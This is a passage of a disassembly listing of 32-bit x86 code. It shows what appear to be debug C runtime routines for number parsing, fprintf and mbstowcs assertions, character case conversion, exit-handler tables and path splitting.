eax, [ebp+arg_C] or al, 4 mov [ebp+arg_C], eax loc_41AACA: ; CODE XREF: sub_41A870+250j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_41A9D6 ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: sub_41A870:loc_41AA81j ; sub_41A870+21Bj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] and edx, 8 test edx, edx jnz short loc_41AB08 cmp [ebp+arg_4], 0 jz short loc_41AAFF mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41AAFF: ; CODE XREF: sub_41A870+287j mov [ebp+var_C], 0 jmp short loc_41AB7A ; --------------------------------------------------------------------------- loc_41AB08: ; CODE XREF: sub_41A870+281j mov ecx, [ebp+arg_C] and ecx, 4 test ecx, ecx jnz short loc_41AB42 mov edx, [ebp+arg_C] and edx, 1 test edx, edx jnz short loc_41AB7A mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41AB2F cmp [ebp+var_C], 80000000h ja short loc_41AB42 loc_41AB2F: ; CODE XREF: sub_41A870+2B4j mov ecx, [ebp+arg_C] and ecx, 2 test ecx, ecx jnz short loc_41AB7A cmp [ebp+var_C], 7FFFFFFFh jbe short loc_41AB7A loc_41AB42: ; CODE XREF: sub_41A870+2A0j ; sub_41A870+2BDj call sub_422F20 mov dword ptr [eax], 22h mov edx, [ebp+arg_C] and edx, 1 test edx, edx jz short loc_41AB60 mov [ebp+var_C], 0FFFFFFFFh jmp short loc_41AB7A ; --------------------------------------------------------------------------- loc_41AB60: ; CODE XREF: sub_41A870+2E5j mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41AB73 mov [ebp+var_C], 80000000h jmp short loc_41AB7A ; --------------------------------------------------------------------------- loc_41AB73: ; CODE XREF: sub_41A870+2F8j mov [ebp+var_C], 7FFFFFFFh loc_41AB7A: ; CODE XREF: sub_41A870+296j ; sub_41A870+2AAj ... cmp [ebp+arg_4], 0 jz short loc_41AB88 mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx loc_41AB88: ; CODE XREF: sub_41A870+30Ej mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41AB9A mov ecx, [ebp+var_C] neg ecx mov [ebp+var_C], ecx loc_41AB9A: ; CODE XREF: sub_41A870+320j mov eax, [ebp+var_C] loc_41AB9D: ; CODE XREF: sub_41A870+D9j mov esp, ebp pop ebp retn sub_41A870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABB0 proc near ; CODE XREF: sub_406614+4CEp ; sub_40C50A+377Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41A870 add esp, 10h pop ebp retn sub_41ABB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABD0 proc near ; CODE XREF: sub_406614+4Ep var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_36 = dword ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = dword ptr -0Ah var_6 = dword ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0D8h lea eax, [ebp+var_24] push eax call ds:dword_494314 lea ecx, [ebp+var_10] push ecx call ds:dword_494420 mov edx, [ebp+var_6] and edx, 0FFFFh xor eax, eax mov ax, word ptr dword_492088+2 cmp edx, eax jnz short loc_41AC68 mov ecx, [ebp-8] and ecx, 0FFFFh xor edx, edx mov dx, word ptr dword_492088 cmp ecx, edx jnz short loc_41AC68 mov eax, [ebp+var_A] and eax, 0FFFFh xor ecx, ecx mov cx, word_492086 cmp eax, ecx jnz short loc_41AC68 mov edx, [ebp+var_10+2] and edx, 0FFFFh xor eax, eax mov ax, word ptr dword_492080+2 cmp edx, eax jnz short loc_41AC68 mov ecx, [ebp+var_10] and ecx, 0FFFFh xor edx, edx mov dx, word ptr dword_492080 cmp ecx, edx jnz short loc_41AC68 mov eax, dword_492078 mov [ebp+var_D8], eax jmp loc_41ACF0 ; --------------------------------------------------------------------------- loc_41AC68: ; CODE XREF: sub_41ABD0+30j ; sub_41ABD0+46j ... lea ecx, [ebp+var_D0] push ecx call ds:dword_49441C mov [ebp+var_D4], eax cmp [ebp+var_D4], 0FFFFFFFFh jz short loc_41ACB8 cmp [ebp+var_D4], 2 jnz short loc_41ACAC mov edx, [ebp+var_36] and edx, 0FFFFh test edx, edx jz short loc_41ACAC cmp [ebp+var_28], 0 jz short loc_41ACAC mov [ebp+var_D8], 1 jmp short loc_41ACB6 ; --------------------------------------------------------------------------- loc_41ACAC: ; CODE XREF: sub_41ABD0+BBj ; sub_41ABD0+C8j ... mov [ebp+var_D8], 0 loc_41ACB6: ; CODE XREF: sub_41ABD0+DAj jmp short loc_41ACC2 ; --------------------------------------------------------------------------- loc_41ACB8: ; CODE XREF: sub_41ABD0+B2j mov [ebp+var_D8], 0FFFFFFFFh loc_41ACC2: ; CODE XREF: sub_41ABD0:loc_41ACB6j mov eax, [ebp+var_D8] mov dword_492078, eax mov ecx, [ebp+var_10] mov dword_492080, ecx mov edx, [ebp-0Ch] mov dword ptr byte_492084, edx mov eax, [ebp+var_A+2] mov dword_492088, eax mov ecx, [ebp+var_6+2] mov dword_49208C, ecx loc_41ACF0: ; CODE XREF: sub_41ABD0+93j mov edx, [ebp+var_D8] push edx mov eax, [ebp+var_18] and eax, 0FFFFh push eax mov ecx, [ebp-1Ah] and ecx, 0FFFFh push ecx mov edx, [ebp+var_1C] and edx, 0FFFFh push edx mov eax, [ebp-1Eh] and eax, 0FFFFh push eax mov ecx, [ebp+var_24+2] and ecx, 0FFFFh push ecx mov edx, [ebp+var_24] and edx, 0FFFFh push edx call sub_423ED0 add esp, 1Ch mov [ebp+var_14], eax cmp [ebp+arg_0], 0 jz short loc_41AD4A mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax], ecx loc_41AD4A: ; CODE XREF: sub_41ABD0+170j mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_41ABD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD60 proc near ; CODE XREF: sub_4084C8+8Ep ; sub_40C50A+2B37p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+arg_8] mov [ebp+var_10], eax loc_41AD6F: ; CODE XREF: sub_41AD60+37j cmp [ebp+arg_0], 0 jnz short loc_41AD93 push offset aStrNull ; "str != NULL" push 0 push 38h push offset aFprintf_c ; "fprintf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41AD93 int 3 ; Trap to Debugger loc_41AD93: ; CODE XREF: sub_41AD60+13j ; sub_41AD60+30j xor ecx, ecx test ecx, ecx jnz short loc_41AD6F loc_41AD99: ; CODE XREF: sub_41AD60+61j cmp [ebp+arg_4], 0 jnz short loc_41ADBD push offset aFormatNull ; "format != NULL" push 0 push 39h push offset aFprintf_c ; "fprintf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41ADBD int 3 ; Trap to Debugger loc_41ADBD: ; CODE XREF: sub_41AD60+3Dj ; sub_41AD60+5Aj xor edx, edx test edx, edx jnz short loc_41AD99 mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_421230 add esp, 4 mov edx, [ebp+var_4] push edx call sub_423FC0 add esp, 4 mov [ebp+var_8], eax mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_4] push edx call sub_41EA90 add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] push ecx call sub_424120 add esp, 8 mov edx, [ebp+var_4] push edx call sub_4212A0 add esp, 4 mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41AD60 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] add eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE40 proc near ; CODE XREF: sub_4099BC+6p ; sub_4099DA+4Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_492170, 0 jnz short loc_41AE67 cmp [ebp+arg_0], 41h jl short loc_41AE62 cmp [ebp+arg_0], 5Ah jg short loc_41AE62 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_41AE62: ; CODE XREF: sub_41AE40+11j ; sub_41AE40+17j mov eax, [ebp+arg_0] jmp short loc_41AECF ; --------------------------------------------------------------------------- loc_41AE67: ; CODE XREF: sub_41AE40+Bj push offset dword_49274C call ds:dword_494418 cmp dword_492748, 0 jz short loc_41AE99 push offset dword_49274C call ds:dword_494414 push 13h call sub_41BC90 add esp, 4 mov [ebp+var_4], 1 jmp short loc_41AEA0 ; --------------------------------------------------------------------------- loc_41AE99: ; CODE XREF: sub_41AE40+39j mov [ebp+var_4], 0 loc_41AEA0: ; CODE XREF: sub_41AE40+57j mov ecx, [ebp+arg_0] push ecx call sub_41AEE0 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_41AEC1 push 13h call sub_41BD30 add esp, 4 jmp short loc_41AECC ; --------------------------------------------------------------------------- loc_41AEC1: ; CODE XREF: sub_41AE40+73j push offset dword_49274C call ds:dword_494414 loc_41AECC: ; CODE XREF: sub_41AE40+7Fj mov eax, [ebp+arg_0] loc_41AECF: ; CODE XREF: sub_41AE40+25j mov esp, ebp pop ebp retn sub_41AE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AEE0 proc near ; CODE XREF: sub_41AE40+64p ; sub_42F560+94p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp dword_492170, 0 jnz short loc_41AF0C cmp [ebp+arg_0], 41h jl short loc_41AF04 cmp [ebp+arg_0], 5Ah jg short loc_41AF04 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_41AF04: ; CODE XREF: sub_41AEE0+13j ; sub_41AEE0+19j mov eax, [ebp+arg_0] jmp loc_41B007 ; --------------------------------------------------------------------------- loc_41AF0C: ; CODE XREF: sub_41AEE0+Dj cmp [ebp+arg_0], 100h jge short loc_41AF53 cmp dword_442F58, 1 jle short loc_41AF31 push 1 mov ecx, [ebp+arg_0] push ecx call sub_41E750 add esp, 8 mov [ebp+var_10], eax jmp short loc_41AF45 ; --------------------------------------------------------------------------- loc_41AF31: ; CODE XREF: sub_41AEE0+3Cj mov edx, [ebp+arg_0] mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 1 mov [ebp+var_10], ecx loc_41AF45: ; CODE XREF: sub_41AEE0+4Fj cmp [ebp+var_10], 0 jnz short loc_41AF53 mov eax, [ebp+arg_0] jmp loc_41B007 ; --------------------------------------------------------------------------- loc_41AF53: ; CODE XREF: sub_41AEE0+33j ; sub_41AEE0+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_41AF9C mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_41AFAD ; --------------------------------------------------------------------------- loc_41AF9C: ; CODE XREF: sub_41AEE0+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_41AFAD: ; CODE XREF: sub_41AEE0+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 100h mov edx, dword_492170 push edx call sub_422F40 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41AFE1 mov eax, [ebp+arg_0] jmp short loc_41B007 ; --------------------------------------------------------------------------- loc_41AFE1: ; CODE XREF: sub_41AEE0+FAj cmp [ebp+var_4], 1 jnz short loc_41AFF1 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_41B007 ; --------------------------------------------------------------------------- loc_41AFF1: ; CODE XREF: sub_41AEE0+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_41B007: ; CODE XREF: sub_41AEE0+27j ; sub_41AEE0+6Ej ... mov esp, ebp pop ebp retn sub_41AEE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B010 proc near ; CODE XREF: sub_40A359+3Fp ; sub_40A42B+27p arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_416A60 add esp, 8 pop ebp retn sub_41B010 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B030 proc near ; CODE XREF: sub_40AD78+55p ; sub_413B31+236p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41B03A: ; CODE XREF: sub_41B030+1Fj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax test edx, edx jz short loc_41B051 jmp short loc_41B03A ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41B030+1Dj mov eax, [ebp+var_4] sub eax, [ebp+arg_0] sar eax, 1 sub eax, 1 mov esp, ebp pop ebp retn sub_41B030 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B060 proc near ; CODE XREF: sub_40AD78+19p ; sub_40AD78+49p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_49274C call ds:dword_494418 cmp dword_492748, 0 jz short loc_41B098 push offset dword_49274C call ds:dword_494414 push 13h call sub_41BC90 add esp, 4 mov [ebp+var_4], 1 jmp short loc_41B09F ; --------------------------------------------------------------------------- loc_41B098: ; CODE XREF: sub_41B060+18j mov [ebp+var_4], 0 loc_41B09F: ; CODE XREF: sub_41B060+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41B0E0 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_41B0C8 push 13h call sub_41BD30 add esp, 4 jmp short loc_41B0D3 ; --------------------------------------------------------------------------- loc_41B0C8: ; CODE XREF: sub_41B060+5Aj push offset dword_49274C call ds:dword_494414 loc_41B0D3: ; CODE XREF: sub_41B060+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_41B060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0E0 proc near ; CODE XREF: sub_41B060+4Bp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz short loc_41B103 cmp [ebp+arg_8], 0 jnz short loc_41B103 xor eax, eax jmp loc_41B2C4 ; --------------------------------------------------------------------------- loc_41B103: ; CODE XREF: sub_41B0E0+14j ; sub_41B0E0+1Aj ... cmp [ebp+arg_4], 0 jnz short loc_41B127 push offset aSNull ; "s != NULL" push 0 push 55h push offset aMbstowcs_c ; "mbstowcs.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41B127 int 3 ; Trap to Debugger loc_41B127: ; CODE XREF: sub_41B0E0+27j ; sub_41B0E0+44j xor eax, eax test eax, eax jnz short loc_41B103 cmp [ebp+arg_0], 0 jz loc_41B276 cmp dword_492170, 0 jnz short loc_41B189 loc_41B140: ; CODE XREF: sub_41B0E0+9Fj mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_8] jnb short loc_41B181 mov edx, [ebp+arg_4] add edx, [ebp+var_4] movzx ax, byte ptr [edx] mov ecx, [ebp+arg_0] mov [ecx], ax mov edx, [ebp+arg_4] add edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_41B16D mov eax, [ebp+var_4] jmp loc_41B2C4 ; --------------------------------------------------------------------------- loc_41B16D: ; CODE XREF: sub_41B0E0+83j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 2 mov [ebp+arg_0], edx jmp short loc_41B140 ; --------------------------------------------------------------------------- loc_41B181: ; CODE XREF: sub_41B0E0+66j mov eax, [ebp+var_4] jmp loc_41B2C4 ; --------------------------------------------------------------------------- loc_41B189: ; CODE XREF: sub_41B0E0+5Ej mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, dword_492180 push eax call ds:dword_4942D4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41B1B9 mov eax, [ebp+var_4] sub eax, 1 jmp loc_41B2C4 ; --------------------------------------------------------------------------- loc_41B1B9: ; CODE XREF: sub_41B0E0+CCj call ds:dword_4942F0 cmp eax, 7Ah jz short loc_41B1D7 call sub_422F20 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_41B2C4 ; --------------------------------------------------------------------------- loc_41B1D7: ; CODE XREF: sub_41B0E0+E2j mov ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov [ebp+var_8], edx jmp short loc_41B1EE ; --------------------------------------------------------------------------- loc_41B1E5: ; CODE XREF: sub_41B0E0:loc_41B22Fj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_41B1EE: ; CODE XREF: sub_41B0E0+103j mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_41B231 mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_41B231 mov edx, [ebp+var_8] xor eax, eax mov al, [edx] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_41B22F mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_41B22F: ; CODE XREF: sub_41B0E0+144j jmp short loc_41B1E5 ; --------------------------------------------------------------------------- loc_41B231: ; CODE XREF: sub_41B0E0+11Cj ; sub_41B0E0+127j mov ecx, [ebp+var_8] sub ecx, [ebp+arg_4] mov [ebp+var_C], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_4] push edx push 1 mov eax, dword_492180 push eax call ds:dword_4942D4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41B271 call sub_422F20 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_41B2C4 ; --------------------------------------------------------------------------- loc_41B271: ; CODE XREF: sub_41B0E0+17Fj mov eax, [ebp+var_4] jmp short loc_41B2C4 ; --------------------------------------------------------------------------- loc_41B276: ; CODE XREF: sub_41B0E0+51j cmp dword_492170, 0 jnz short loc_41B28D mov ecx, [ebp+arg_4] push ecx call sub_418E70 add esp, 4 jmp short loc_41B2C4 ; --------------------------------------------------------------------------- loc_41B28D: ; CODE XREF: sub_41B0E0+19Dj push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, dword_492180 push eax call ds:dword_4942D4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41B2BE call sub_422F20 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_41B2C4 ; --------------------------------------------------------------------------- loc_41B2BE: ; CODE XREF: sub_41B0E0+1CCj mov eax, [ebp+var_4] sub eax, 1 loc_41B2C4: ; CODE XREF: sub_41B0E0+1Ej ; sub_41B0E0+88j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41B0E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2D0 proc near ; CODE XREF: sub_41B970+D2p push ebp mov ebp, esp cmp off_442C38, 0 jz short loc_41B2E2 call off_442C38 loc_41B2E2: ; CODE XREF: sub_41B2D0+Aj push offset dword_434014 push offset dword_434008 call sub_41B4A0 add esp, 8 push offset dword_434004 push offset dword_434000 call sub_41B4A0 add esp, 8 pop ebp retn sub_41B2D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B310 proc near ; CODE XREF: sub_41B970+12Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 mov eax, [ebp+arg_0] push eax call sub_41B390 add esp, 0Ch pop ebp retn sub_41B310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B330 proc near ; CODE XREF: .text:0041BAC4p ; sub_41BAE0+22p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1 mov eax, [ebp+arg_0] push eax call sub_41B390 add esp, 0Ch pop ebp retn sub_41B330 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 push 0 call sub_41B390 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 1 push 0 call sub_41B390 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B390 proc near ; CODE XREF: sub_41B310+Bp ; sub_41B330+Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx call sub_41B480 cmp dword_4920D0, 1 jnz short loc_41B3B3 mov eax, [ebp+arg_0] push eax call ds:dword_494290 push eax call ds:dword_4943B8 loc_41B3B3: ; CODE XREF: sub_41B390+10j mov dword_4920CC, 1 mov cl, byte ptr [ebp+arg_8] mov byte_4920C8, cl cmp [ebp+arg_4], 0 jnz short loc_41B413 cmp dword_493794, 0 jz short loc_41B401 mov edx, dword_493790 mov [ebp+var_4], edx loc_41B3DE: ; CODE XREF: sub_41B390:loc_41B3FFj mov eax, [ebp+var_4] sub eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, dword_493794 jb short loc_41B401 mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_41B3FF mov eax, [ebp+var_4] call dword ptr [eax] loc_41B3FF: ; CODE XREF: sub_41B390+68j jmp short loc_41B3DE ; --------------------------------------------------------------------------- loc_41B401: ; CODE XREF: sub_41B390+43j ; sub_41B390+60j push offset dword_434020 push offset dword_434018 call sub_41B4A0 add esp, 8 loc_41B413: ; CODE XREF: sub_41B390+3Aj push offset dword_434028 push offset dword_434024 call sub_41B4A0 add esp, 8 cmp dword_4920D4, 0 jnz short loc_41B44E push 0FFFFFFFFh call sub_417F40 add esp, 4 and eax, 20h test eax, eax jz short loc_41B44E mov dword_4920D4, 1 call sub_418850 loc_41B44E: ; CODE XREF: sub_41B390+9Cj ; sub_41B390+ADj cmp [ebp+arg_8], 0 jz short loc_41B45B call sub_41B490 jmp short loc_41B46F ; --------------------------------------------------------------------------- loc_41B45B: ; CODE XREF: sub_41B390+C2j mov dword_4920D0, 1 mov ecx, [ebp+arg_0] push ecx call ds:dword_49432C loc_41B46F: ; CODE XREF: sub_41B390+C9j mov esp, ebp pop ebp retn sub_41B390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B480 proc near ; CODE XREF: sub_41B390+4p push ebp mov ebp, esp push 0Dh call sub_41BC90 add esp, 4 pop ebp retn sub_41B480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B490 proc near ; CODE XREF: sub_41B390+C4p push ebp mov ebp, esp push 0Dh call sub_41BD30 add esp, 4 pop ebp retn sub_41B490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4A0 proc near ; CODE XREF: sub_41B2D0+1Cp ; sub_41B2D0+2Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp loc_41B4A3: ; CODE XREF: sub_41B4A0+21j mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_41B4C3 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jz short loc_41B4B8 mov edx, [ebp+arg_0] call dword ptr [edx] loc_41B4B8: ; CODE XREF: sub_41B4A0+11j mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax jmp short loc_41B4A3 ; --------------------------------------------------------------------------- loc_41B4C3: ; CODE XREF: sub_41B4A0+9j pop ebp retn sub_41B4A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4D0 proc near ; CODE XREF: sub_40BBCB+FAp ; sub_40C50A+5434p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] push eax call sub_418E70 add esp, 4 cmp eax, 1 jb short loc_41B52B mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx+1] cmp edx, 3Ah jnz short loc_41B52B cmp [ebp+arg_4], 0 jz short loc_41B520 push 2 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] push ecx call sub_4249D0 add esp, 0Ch mov edx, [ebp+arg_4] mov byte ptr [edx+2], 0 loc_41B520: ; CODE XREF: sub_41B4D0+35j mov eax, [ebp+arg_0] add eax, 2 mov [ebp+arg_0], eax jmp short loc_41B537 ; --------------------------------------------------------------------------- loc_41B52B: ; CODE XREF: sub_41B4D0+23j ; sub_41B4D0+2Fj cmp [ebp+arg_4], 0 jz short loc_41B537 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 0 loc_41B537: ; CODE XREF: sub_41B4D0+59j ; sub_41B4D0+5Fj mov [ebp+var_C], 0 mov edx, [ebp+arg_0] mov [ebp+var_4], edx jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B546: ; CODE XREF: sub_41B4D0:loc_41B5ACj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41B54F: ; CODE XREF: sub_41B4D0+74j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41B5AE mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] xor edx, edx mov dl, byte_492641[ecx] and edx, 4 test edx, edx jz short loc_41B57A mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_41B5AC ; --------------------------------------------------------------------------- loc_41B57A: ; CODE XREF: sub_41B4D0+9Dj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 2Fh jz short loc_41B590 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 5Ch jnz short loc_41B59B loc_41B590: ; CODE XREF: sub_41B4D0+B3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx jmp short loc_41B5AC ; --------------------------------------------------------------------------- loc_41B59B: ; CODE XREF: sub_41B4D0+BEj mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_41B5AC mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_41B5AC: ; CODE XREF: sub_41B4D0+A8j ; sub_41B4D0+C9j ... jmp short loc_41B546 ; --------------------------------------------------------------------------- loc_41B5AE: ; CODE XREF: sub_41B4D0+87j cmp [ebp+var_C], 0 jz short loc_41B604 cmp [ebp+arg_8], 0 jz short loc_41B5FC mov eax, [ebp+var_C] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_41B5D2 mov ecx, [ebp+var_C] sub ecx, [ebp+arg_0] mov [ebp+var_14], ecx jmp short loc_41B5D9 ; --------------------------------------------------------------------------- 